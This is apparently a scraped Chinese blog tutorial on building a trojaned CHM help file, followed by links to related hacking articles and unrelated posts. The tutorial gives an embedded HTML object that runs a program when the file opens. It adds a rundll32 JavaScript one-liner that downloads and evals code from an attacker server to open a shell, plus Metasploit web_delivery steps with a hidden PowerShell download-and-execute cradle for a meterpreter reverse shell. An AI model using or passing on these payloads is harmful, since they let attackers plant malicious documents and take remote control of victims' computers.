一. 弹出计算器

打开EasyCHM,工具 -> 反编译指定的CHM,选择目标文件和反编译工作目录。

进入反编译的工作目录,找到并编辑主页文件,这里是index.html

在<body></body>标签内部插入执行代码,这里以弹出计算器为例

代码

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>

重新在EasyCHM中编译这个项目,生成新的文件,打开文件可以看到成功弹出计算器

二. CHM + JSBackdoor执行payload

MyJSRat: https://github.com/Ridter/MyJSRat

python MyJSRat.py -i <Your IP> -p <PORT>

访问: http://192.168.1.150:8080/wtf 获取攻击代码

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.150:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

我们把这串代码复制到图中value值內,注意rundll32.exe前后加了两个逗号

重新编译执行该文件,打开即可获得交互式shell

执行命令时,目标桌面上会闪过黑框,可以将执行命令写入到文件内,然后使用read命令读取

三. CHM + meterpreter

可以在之前的基础上加-c "要执行的命令",在获取JS shell时调用powershell获取shell

获取powershell代码

(1)使用veil,unicorn等工具生成,然后利用msf进行监听

(2)使用web_delivery模块

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.1.150
LHOST => 192.168.1.150
msf exploit(web_delivery) > set LPORT 9999
LPORT => 9999
msf exploit(web_delivery) > set SRVPORT 80
SRVPORT => 80
msf exploit(web_delivery) > set URIPATH /
URIPATH => /
msf exploit(web_delivery) > exploit

获得powershell代码

powershell.exe -nop -w hidden -c $h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('http://192.168.1.150:8081/');

 

获取到powershell代码之后,我们监听时使用-c 参数自动执行powershell命令

python MyJSRat.py -i <Your IP> -p <PORT> -c "刚才的powershell代码"

参考链接:

  http://www.91ri.org/15506.html

  http://www.freebuf.com/articles/system/119874.html

CHM木马的更多相关文章

  1. Colbalt Strike之CHM木马

    一.命令执行(calc)木马生成 1.生成木马 首先创建一个根目录,文件名为exp 在文件夹里创建两个目录和一个index.html文件 在两个目录里分别创建txt文件或html文件 index.ht ...

  2. 目前最流行的网页自动运行EXE文件

    大家对木马都不陌生了,它可能要算是计算机病毒史上最厉害的了,相信会使木马的人千千万万,但是有很多人苦于怎么把木马发给对方,现在随着计算机的普及,在网络上我相信很少有人会再轻易的接收对方的文件了,所以网 ...

  3. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  4. 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践

    2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...

  5. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  6. 作为一个程序猿,是不是经常会用到.chm文档,但是我们可能会遇到这样那样的问题,比如.chm文档打不开

    .chm文档不能正常打开,一般有两种情形下会造成文档打不开, 1.系统语言栏的语言和文档的语言类别不一同,也就是说比如你的文档是中文版的,但是系统设置的语言是其他国家的.不过一般这种情况很少出现 ,谁 ...

  7. 《连载 | 物联网框架ServerSuperIO教程》- 5.轮询通讯模式开发及注意事项。附:网友制作的类库说明(CHM)

    1.C#跨平台物联网通讯框架ServerSuperIO(SSIO)介绍 <连载 | 物联网框架ServerSuperIO教程>1.4种通讯模式机制. <连载 | 物联网框架Serve ...

  8. php木马样本,持续更新

    <?array_map("ass\x65rt",(array)$_REQUEST[dede]);?> <?php $command=$_POST[1990]; @ ...

  9. Petya勒索木马

    同事小学妹神好奇心,在陌生群里下载了个软件,接下来就是自动重启无法开机. 找我一看,凭我专业帮妹纸装系统多年的经验,起初也不觉得有啥困难,兼容模式下重启,接下来出现这个: 按下any key后: 试了 ...

随机推荐

  1. 在weblogic11g发布该项目时遇到错误(不支持web-app_3_0)

    problem: cvc-enumeration-valid: string value '3.0' is not a valid enumeration value for web-app-vers ...

  2. VS SQL 出现%CommonDir%dte80a.olb 该解决方案

    VS SQL  出现%CommonDir%dte80a.olb  该解决方案 在网上搜索解决方法的时候.别人就说你从别的电脑复制一个到C:\Program Files\Common Files\mic ...

  3. 【转】android 欢迎界面翻页成效,仿微信第一次登陆介绍翻页界面

    android 欢迎界面翻页效果,仿微信第一次登陆介绍翻页界面 本实例做的相对比较简单主要是对翻页控件的使用,有时候想要做一些功能是主要是先了解下是否有现成的控件可以使用,做起来比较简单不用费太大的劲 ...

  4. EasyUI搭建前端框架

    EasyUI搭建前端框架 前言: 最近在忙公司的项目,也没太多时间来更新博客,谢谢大家的关注. 好啦,有了前面的系统整体简介和用户登录界面,我们开始使用EasyUI搭建前端页面框架! EasyUI官方 ...

  5. android判断网络的类型

    转自:http://blog.csdn.net/xxxsz/article/details/8199031 判断网络类型是wifi,还是3G,还是2G网络 对不同的网络进行不同的处理,现将判断方法整理 ...

  6. Web应用架构的新趋势

    系统架构:Web应用架构的新趋势---前端和后端分离的一点想法   最近研究servlet,看书时候书里讲到了c/s架构到b/s架构的演变,讲servlet的书都很老了,现在的b/s架构已经不是几年前 ...

  7. flume安装及配置

    Flume安装 介绍 Flume本身的安装比较简单(flume的介绍请参考http://blog.csdn.net/rzhzhz/article/details/7448633),安装前先说明几个概念 ...

  8. js定义类或对象

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  9. 项目结构的设计(iOS篇)

    项目结构的设计(iOS篇) 本文附带源码:YoungHeart-Chapter-02.zip 在设计任何一个框架之前,都应规划好项目结构. 假定Git作为我们的项目管理工具.我们要建立两个仓库,一个用 ...

  10. 二.redis 数据类型

    本文介绍下redis支持的各种数据类型包括string,list ,set ,sorted set 和hash 1. keysredis本质上一个key-value db,所以我们首先来看看他的key ...